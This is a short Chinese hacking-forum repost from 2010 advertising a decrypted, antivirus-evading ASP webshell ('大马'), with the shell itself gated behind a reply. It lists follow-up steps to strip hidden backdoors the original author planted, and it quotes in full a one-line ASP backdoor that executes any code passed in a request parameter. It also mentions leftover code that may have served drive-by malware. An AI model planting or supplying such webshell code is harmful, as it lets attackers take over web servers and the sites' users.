[转贴] 暗组超强免杀asp大马2010解密后门。。

主题	好友	110 积分

注册会员

发消息

发表于 2010-1-27 13:23:25 |显示全部楼层

本帖最后由我爱答不溜批亿于 2010-1-27 13:31 编辑

给个回复可见

解密完后续操作
1.服务器组件信息处未完全清除的后门(原后门只做屏蔽处理指向baidu)
2.文件上传处未完全清除的后门(原后门只做屏蔽处理指向baidu)
3.删除原来未处理干净的一句话后门：if request("l")<>"" then execute request("l") thank;huaxiang 提醒
4.删除samurl、surl两条垃圾代码原来可能是放挂马代码的！